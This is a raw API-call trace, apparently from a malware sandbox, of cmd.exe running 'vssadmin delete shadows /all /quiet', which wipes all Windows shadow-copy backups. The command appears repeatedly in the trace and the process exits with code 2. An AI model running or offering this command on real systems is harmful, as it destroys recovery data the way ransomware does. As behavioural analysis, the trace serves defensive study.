0xf4 [0132.173] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0132.173] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x15f538, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f538*=0x24, lpOverlapped=0x0) returned 1 [0132.173] GetProcessHeap () returned 0x230000 [0132.173] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x251010 [0132.173] GetProcessHeap () returned 0x230000 [0132.174] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x251010 | out: hHeap=0x230000) returned 1 [0132.174] GetProcessHeap () returned 0x230000 [0132.174] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x249840 [0132.174] GetProcessHeap () returned 0x230000 [0132.174] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x22) returned 0x244630 [0132.174] GetProcessHeap () returned 0x230000 [0132.174] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x250090 [0132.175] GetConsoleOutputCP () returned 0x4e3 [0132.175] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0132.175] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0132.175] GetConsoleTitleW (in: lpConsoleTitle=0x15f4f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0132.175] GetProcessHeap () returned 0x230000 [0132.175] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x24aae0 [0132.175] GetProcessHeap () returned 0x230000 [0132.175] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x5a) returned 0x249a50 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x420) returned 0x24b9a0 [0132.176] SetErrorMode (uMode=0x0) returned 0x0 [0132.176] SetErrorMode (uMode=0x1) returned 0x0 [0132.176] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x24b9b0, lpFilePart=0x15ed80 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x15ed80*="system32") returned 0x13 [0132.176] SetErrorMode (uMode=0x0) returned 0x1 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24b9a0, Size=0x4a) returned 0x24b9a0 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9a0) returned 0x4a [0132.176] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0132.176] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x104) returned 0x245bb0 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1f8) returned 0x24ba00 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24ba00, Size=0x106) returned 0x24ba00 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba00) returned 0x106 [0132.176] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe8) returned 0x249c60 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x249c60, Size=0x7e) returned 0x249c60 [0132.176] GetProcessHeap () returned 0x230000 [0132.176] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x249c60) returned 0x7e [0132.177] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.177] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x15eaf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15eaf0) returned 0x245cc0 [0132.177] FindClose (in: hFindFile=0x245cc0 | out: hFindFile=0x245cc0) returned 1 [0132.177] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x15eaf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15eaf0) returned 0xffffffffffffffff [0132.177] GetLastError () returned 0x2 [0132.177] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x15eaf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15eaf0) returned 0x251040 [0132.177] FindClose (in: hFindFile=0x251040 | out: hFindFile=0x251040) returned 1 [0132.178] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0132.178] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0132.178] GetConsoleTitleW (in: lpConsoleTitle=0x15f040, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0132.178] GetProcessHeap () returned 0x230000 [0132.178] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x21c) returned 0x24bb20 [0132.178] GetConsoleTitleW (in: lpConsoleTitle=0x24bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0132.178] GetProcessHeap () returned 0x230000 [0132.178] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24bb20, Size=0xa2) returned 0x24bb20 [0132.178] GetProcessHeap () returned 0x230000 [0132.178] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bb20) returned 0xa2 [0132.178] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0132.179] GetProcessHeap () returned 0x230000 [0132.179] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24bb20 | out: hHeap=0x230000) returned 1 [0132.179] InitializeProcThreadAttributeList (in: lpAttributeList=0x15edf8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x15edb8 | out: lpAttributeList=0x15edf8, lpSize=0x15edb8) returned 1 [0132.179] UpdateProcThreadAttribute (in: lpAttributeList=0x15edf8, dwFlags=0x0, Attribute=0x60001, lpValue=0x15eda8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x15edf8, lpPreviousValue=0x0) returned 1 [0132.179] GetStartupInfoW (in: lpStartupInfo=0x15ef10 | out: lpStartupInfo=0x15ef10*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0132.179] GetProcessHeap () returned 0x230000 [0132.179] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x20) returned 0x244660 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0132.179] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0132.180] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0132.181] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0132.181] GetProcessHeap () returned 0x230000 [0132.181] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x244660 | out: hHeap=0x230000) returned 1 [0132.181] GetProcessHeap () returned 0x230000 [0132.181] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x12) returned 0x249ac0 [0132.181] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x15ee30*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x15ede0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x15ede0*(hProcess=0x50, hThread=0x54, dwProcessId=0x6fc, dwThreadId=0x700)) returned 1 [0132.190] CloseHandle (hObject=0x54) returned 1 [0132.190] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0132.190] GetProcessHeap () returned 0x230000 [0132.190] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24f4e0 | out: hHeap=0x230000) returned 1 [0132.190] GetEnvironmentStringsW () returned 0x2489c0* [0132.190] GetProcessHeap () returned 0x230000 [0132.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb22) returned 0x24e9b0 [0132.190] FreeEnvironmentStringsW (penv=0x2489c0) returned 1 [0132.190] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x15e6e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x15e6e8, ReturnLength=0x0) returned 0x0 [0132.191] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x15e720, nSize=0x380, lpNumberOfBytesRead=0x15e6e0 | out: lpBuffer=0x15e720*, lpNumberOfBytesRead=0x15e6e0*=0x380) returned 1 [0132.191] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0135.396] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x15ed28 | out: lpExitCode=0x15ed28*=0x2) returned 1 [0135.397] CloseHandle (hObject=0x50) returned 1 [0135.397] _vsnwprintf (in: _Buffer=0x15ef98, _BufferCount=0x13, _Format="%08X", _ArgList=0x15ed38 | out: _Buffer="00000002") returned 8 [0135.397] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0135.397] GetProcessHeap () returned 0x230000 [0135.397] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e9b0 | out: hHeap=0x230000) returned 1 [0135.397] GetEnvironmentStringsW () returned 0x2489c0* [0135.397] GetProcessHeap () returned 0x230000 [0135.397] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb22) returned 0x24e9b0 [0135.397] FreeEnvironmentStringsW (penv=0x2489c0) returned 1 [0135.397] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0135.397] GetProcessHeap () returned 0x230000 [0135.397] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e9b0 | out: hHeap=0x230000) returned 1 [0135.397] GetEnvironmentStringsW () returned 0x2489c0* [0135.397] GetProcessHeap () returned 0x230000 [0135.397] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb22) returned 0x24e9b0 [0135.397] FreeEnvironmentStringsW (penv=0x2489c0) returned 1 [0135.397] GetProcessHeap () returned 0x230000 [0135.397] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249ac0 | out: hHeap=0x230000) returned 1 [0135.397] DeleteProcThreadAttributeList (in: lpAttributeList=0x15edf8 | out: lpAttributeList=0x15edf8) [0135.397] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0135.398] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.398] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0135.398] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.398] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a3be194 | out: lpMode=0x4a3be194) returned 0 [0135.398] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.398] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a3be198 | out: lpMode=0x4a3be198) returned 0 [0135.399] GetConsoleOutputCP () returned 0x4e3 [0135.399] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0135.399] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249c60 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba00 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245bb0 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9a0 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249a50 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24aae0 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x250090 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x244630 | out: hHeap=0x230000) returned 1 [0135.399] GetProcessHeap () returned 0x230000 [0135.399] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249840 | out: hHeap=0x230000) returned 1 [0135.399] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f258 | out: _Buffer="\r\n") returned 2 [0135.400] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.400] GetFileType (hFile=0xf4) returned 0x3 [0135.400] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.400] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0135.400] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f228, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f228*=0x2, lpOverlapped=0x0) returned 1 [0135.400] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0135.400] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0135.400] _vsnwprintf (in: _Buffer=0x4a3beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x15f268 | out: _Buffer="C:\\Windows\\system32") returned 19 [0135.400] _vsnwprintf (in: _Buffer=0x4a3beb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x15f268 | out: _Buffer=">") returned 1 [0135.400] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.400] GetFileType (hFile=0xf4) returned 0x3 [0135.400] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.401] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0135.401] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x15f258, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f258*=0x14, lpOverlapped=0x0) returned 1 [0135.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.401] GetFileType (hFile=0xe8) returned 0x3 [0135.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0135.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0135.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0135.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0135.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0135.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0135.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0135.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0135.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.401] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0135.401] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0135.402] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.402] GetFileType (hFile=0xe8) returned 0x3 [0135.402] _get_osfhandle (_FileHandle=0) returned 0xe8 [0135.402] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.402] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.402] GetFileType (hFile=0xf4) returned 0x3 [0135.402] _get_osfhandle (_FileHandle=1) returned 0xf4 [0135.402] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0135.402] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x15f538, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f538*=0x5, lpOverlapped=0x0) returned 1 [0135.402] GetProcessHeap () returned 0x230000 [0135.402] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x252010 [0135.402] GetProcessHeap () returned 0x230000 [0135.402] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x252010 | out: hHeap=0x230000) returned 1 [0135.402] GetProcessHeap () returned 0x230000 [0135.402] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x249840 [0135.402] GetProcessHeap () returned 0x230000 [0135.402] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x244630 [0135.402] GetConsoleOutputCP () returned 0x4e3 [0135.402] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0135.402] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0135.403] GetConsoleTitleW (in: lpConsoleTitle=0x15f4f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0135.403] GetProcessHeap () returned 0x230000 [0135.403] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x14) returned 0x248940 [0135.403] GetProcessHeap () returned 0x230000 [0135.403] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x244660 [0135.403] GetProcessHeap () returned 0x230000 [0135.403] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x21c) returned 0x24b9a0 [0135.403] GetConsoleTitleW (in: lpConsoleTitle=0x24b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0135.403] GetProcessHeap () returned 0x230000 [0135.403] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24b9a0, Size=0x62) returned 0x24b9a0 [0135.403] GetProcessHeap () returned 0x230000 [0135.403] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9a0) returned 0x62 [0135.403] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0135.404] GetProcessHeap () returned 0x230000 [0135.404] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9a0 | out: hHeap=0x230000) returned 1 [0135.404] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0135.405] exit (_Code=2) Process: id = "10" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x741da000" os_pid = "0x6b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" 